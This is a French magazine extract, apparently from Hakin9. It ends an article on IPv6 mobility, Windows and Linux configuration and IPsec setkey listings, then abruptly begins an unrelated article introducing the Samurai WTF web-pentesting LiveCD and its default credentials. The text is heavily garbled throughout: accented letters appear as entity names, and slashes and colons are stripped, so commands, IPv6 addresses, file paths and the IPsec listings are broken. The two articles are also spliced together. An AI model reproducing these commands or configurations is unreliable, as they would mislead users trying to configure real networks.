netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 26: hakin9_05_2010_FR

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

